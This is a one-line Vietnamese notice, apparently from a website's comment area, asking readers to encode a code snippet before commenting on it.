Để bình luận một đoạn code, hãy mã hóa code trước nhé